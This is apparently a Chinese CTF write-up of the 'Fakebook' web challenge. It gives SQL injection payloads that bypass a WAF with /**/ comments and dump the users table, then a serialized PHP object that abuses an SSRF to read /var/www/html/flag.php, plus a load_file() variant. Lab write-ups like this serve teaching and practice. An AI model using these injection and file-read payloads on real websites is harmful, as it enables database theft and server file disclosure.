网鼎杯2018-Fakebook

 · 2020-6-20  ·次阅读


题目地址:buuctf

打开题目

1

the Fakebook

有login和join两个选项,join应该是注册,我们先尝试注册

注册成功之后直接登录

2

username这里可以点进去,进去之后是这样的

3

url格式是/view.php?no=1,猜测可以进行注入

当我们尝试进行注入的时候,发现有waf,当出现有union select的时候就会被拦截

这里用/**/代替空格进行绕过

/view.php?no=0 union/**/select 1,2,3,4–+的时候回显

4

/view.php?no=0 union/**/select 1,database(),3,4–+得到数据库名fakebook

5

/view.php?no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=’fakebook’–+得到表名user

6

/view.php?no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=’fakebook’ and table_name=’users’–+得到列名

7

/view.php?no=0 union/**/select 1,group_concat(no,username,passwd,data),3,4 from fakebook.users –+得到数据

8

1d1a05b40f186efa8c4152341eb69a1c8ac32ea0c3d76d6d071427a902ed8ec88c320f54ca1d4e8301a9a43746c74826d2c9113dc30ff93a68e7eda21aa5d94ab4e69O:8:”UserInfo”:3:{s:4:”name”;s:4:”d1a0”;s:3:”age”;i:111;s:4:”blog”;s:11:”www.d1a0.cn";}

这里我们并没有得到flag,而是我们个人资料的反序列化数据,因为在数据中存在我们的博客地址,所以我们尝试使用ssrf读取flag,但是我们并不知道flag所在文件夹,用dirsearch扫描发现flag.php和robots.txt

robots.txt中存在

User-agent: *
Disallow: /user.php.bak

下载得到

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

构造payload

<?php
class Userinfo
{
    public $name = "d1a0";
    public $age = 111;
    public $blog = "file:///var/www/html/flag.php";
}
$data = new Userinfo();
echo serialize($data);
?>

/view.php?no=0 union/**/select 1,2,3,’O:8:”Userinfo”:3:{s:4:”name”;s:4:”d1a0”;s:3:”age”;i:111;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}’

9

看大佬们的博客,还有个非预期解

使用load_file()函数,直接得到flag,不过前提是知道flag文件位置

payload:/view.php?no=0 union/**/select 1,load_file(‘/var/www/html/flag.php’),3,4

太棒了,又学到了许多10